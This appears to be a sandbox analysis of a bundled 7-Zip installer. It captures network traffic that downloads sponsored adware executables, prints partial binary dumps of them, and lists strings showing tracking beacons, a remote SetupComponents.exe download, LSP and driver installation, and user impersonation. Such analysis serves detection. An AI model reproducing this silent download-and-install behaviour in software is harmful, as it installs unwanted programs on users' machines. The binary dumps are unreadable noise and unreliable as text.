Expires: Wed, 22 Apr 2015 08:32:35 GMT

Last-Modified: Wed, 08 Apr 2015 20:30:30 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16075

Age: 6451

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=1
...........}.W........_/.>.!aj..f....--....Y.!MHB.0....o..-'.......
{K..y.....d.Wig.....r.H.P.. ............"..a?..;..P2...C.R.&..e....o.e
x"...e.....[..C.K...G:....de...d.F.,..|.=..Fn..9..//5$X...Co..=..'z2..
.`0..%[email protected]...#.^a.......Kh.'.C.....I.]......tp..:.sO...x..
.8...t0<....\b;=. .z.e>.1..#.v.j......<q...#[email protected]...}H1.C..
.R.5...z..XWb.2.t.......B.....[(i.....P...x.....9.nM...."...^.....c.. 
R......t...Z..q.hl......;.c.....9.@g_.(..n.hO....|......t`.|.)H..Z....
.l..f .j......J...%._.KN......Tf..g.^.b....r.I..z...UK.\^^.m....}..DA/
.......g.A........0.........".c0.....$~I....D#......{...}.=..j...m....
@.....k.?$....J..Q......}.g......~...6.l<]..x...d?.\...w.3].._.X@..
|....}.C..$0.|.53...Q.8.....i.0=Vr.h.........<.a>.....4.:...ttg.
.....f....'.T.`=..........a...oB...Q.q......3N5 ..<....R....4......
....K..I.i#..C..$#i....`Ja..:..z.*...O...?..41.!.w}......T............
.........y..pE^r..n....A..............q..`.i>;........ .).......m..
P61I.jK.nG..Vj......9.....2....Tv. ^. ........OZ....U.9399].).,.p..\..
\YW..j3..H%...........e.c.....[[email protected].=...R...
.]....xz.`.<..7........r1..87.....7.iL}u..Yu;T. X..d.GT L Uy.....q}
......./...=. ..<#u%..4h...mZJ......p.m...,,<..4.,o$..E.a&.-qy9Z
^6i-,@...".6.7.......-f;.`..f.2...?./.S<[email protected].%.|.
.:.J5.Vy...........%5....... ..g.*..v..".......K..e0....H.....n..6a...
q..I..8..:.q1`......Z*'[email protected]... X.1.....
.B.km._.Uzr..2.D..2..n..}8.wu.O....38..}5.c.`.. ....`...MC.....#A[<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.4&utms=1&utmn=786764341&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Installer_Init&utmht=1429690799884&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=653839773&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 22 Apr 2015 08:20:07 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 22 Apr 2015 08:20:07 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=1..GIF89a..........
...,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=2&utmn=1157967160&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690866458&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:22 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477344

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:22 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477344..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=3&utmn=1873755039&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690875144&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:22 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477353

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:22 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477353..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Mar 2015 05:02:25 GMT

If-None-Match: "a1132b8ef65d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Tue, 24 Mar 2015 05:02:25 GMT

ETag: "a1132b8ef65d01:0"

Cache-Control: max-age=900

Date: Wed, 22 Apr 2015 08:23:48 GMT

Connection: keep-alive

....

GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 07 Mar 2015 06:01:44 GMT

If-None-Match: "dde36a309c58d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Sat, 07 Mar 2015 06:01:44 GMT

ETag: "dde36a309c58d01:0"

Cache-Control: max-age=900

Date: Wed, 22 Apr 2015 08:23:48 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Sat, 07 Mar 2015 06:01:44 GMT..ETag: "dde36a309c58d01:0"..Cach
e-Control: max-age=900..Date: Wed, 22 Apr 2015 08:23:48 GMT..Connectio
n: keep-alive......

GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 05 Mar 2015 06:01:35 GMT

If-None-Match: "cf2633d6957d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Thu, 05 Mar 2015 06:01:35 GMT

ETag: "cf2633d6957d01:0"

Cache-Control: max-age=900

Date: Wed, 22 Apr 2015 08:23:49 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Thu, 05 Mar 2015 06:01:35 GMT..ETag: "cf2633d6957d01:0"..Cache
-Control: max-age=900..Date: Wed, 22 Apr 2015 08:23:49 GMT..Connection
: keep-alive..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: xwb3gJNsHc/Khgl7hiopvAJ vPx8JI682Sf8hJqmlmig7aeJ/GEtty0Sg5JB6re/

x-amz-request-id: 70A0E5F451DAB838

Date: Wed, 22 Apr 2015 08:23:52 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:47 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 22
 Apr 2015 08:21:47 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.8861780039993772 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:28 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:28 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 72922

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 705

Content-Range: bytes 0-72921/72922

X-Cache: Hit from cloudfront

Via: 1.1 ff7053cb54d39315806cac9d50632264.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4QGyfbbfwi06z9HQ6djgD_k98sK6o9LnA2j3Ak8nNmu3RaYUH7MM4g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:47 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 22
 Apr 2015 08:21:47 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /ThawtePremiumServerCA.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.thawte.com


HTTP/1.1 200 OK

Server: Apache

ETag: "1e597995fbb1691d68620edcd69857b8:1429650655"

Last-Modified: Tue, 21 Apr 2015 21:10:55 GMT

Date: Wed, 22 Apr 2015 08:24:52 GMT

Content-Length: 7587

Connection: keep-alive

Content-Type: application/pkix-crl
0...0...0...*.H........0..1.0...U....ZA1.0...U....Western Cape1.0...U.
...Cape Town1.0...U....Thawte Consulting cc1(0&..U....Certification Se
rvices Division1!0...U....Thawte Premium Server CA1(0&..*.H........pre
[email protected]!....T..W...p
.[..%...100322161038Z0!....hx.....k...7....130919164724Z0!...!P..6{.lS
[email protected]!...Da\v..........%..130920062728Z0!...>.e..-
...s[.2I...140418142220Z0!....dU...(...=...*..140801114607Z0!........d
.{#E..9`...130926061856Z0!....6..q.'tT..1.Q...130926062249Z0!.........
...>..i....130528164218Z0!..........#.P.......130716072254Z0!.....%
.......R......100801221434Z0!.....M..HK.....x....130926060355Z0!....k.
"..z......64..130919082450Z0!...W..._....%..I....130926063253Z0!..._._
~gq.I.)[email protected]!.....=X>...][email protected]!...
 .(........n.S...130923202627Z0!.....:...B..=]Hsx_..130920011556Z0!...
.>.ITt.Aw%*I.....130918091937Z0!....-.U.BC{#...x....120301162056Z0!
...U...z7.....UK.n..150330151829Z0!..........1S..Pp....130925105017Z0!
.......x.G.....=....130926064912Z0!....d....... ..=....130911111649Z0!
.....|...x._....wH..100510135256Z0!.....f.....F."E.....100527143439Z0!
.......B...Y..;..S..130925185558Z0!..........G.1.......100624153158Z0!
...3...$o~...w.t3...140304192649Z0!...=.;...........`..130924105544Z0!
....e..8..3...h1[|..130905162920Z0!...d.[,tpLq..o.; ...100528183707Z0!
...c.$.?.._..4..O...130905193529Z0!......V..T].Y..:|...130304224528Z0!
....Xy..MnW.G..f.t..130810133109Z0!.....c.8..vX....ue..13093018594<<< skipped >>>

The Application connects to the servers at the folowing location(s):

WebProtectorPlus.exe_3220:

.text

`.rdata

@.data

.rsrc

vSSSh

FTPjK

FtPj;

C.PjRV

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

X-X-X-XX-XXXXXX

SOFTWARE\WebProtectorPlus\Notify\

SOFTWARE\WebProtectorPlus\

SOFTWARE\Microsoft\Windows NT\CurrentVersion\

SOFTWARE\Microsoft\Windows NT\

hXXp://stat.webprotectionfree.com/pin.gif?e=remove&s=

hXXp://stat.webprotectionfree.com/pin.gif?e=tracking&s=

Shell32.dll

hXXp://webprotectorplus.com

hXXp://webprotectionfree.com/c/SetupComponents.exe

SetupComponents.exe

Software\WebProtectorPlus\Notify

d:\Project\_Bibyte\WebProtectorPlus NO DLL\Release\WebProtectorPlus NO DLL.pdb

COMCTL32.dll

InternetOpenUrlA

WININET.dll

SHLWAPI.dll

KERNEL32.dll

USER32.dll

RegCreateKeyExA

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

ole32.dll

GetCPInfo

GetConsoleOutputCP

zcÁ

%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

mscoree.dll

KERNEL32.DLL

YouTubeAcceleratorService.exe_3492:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Tu8%XuJ@Uu

AUu.AUu

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

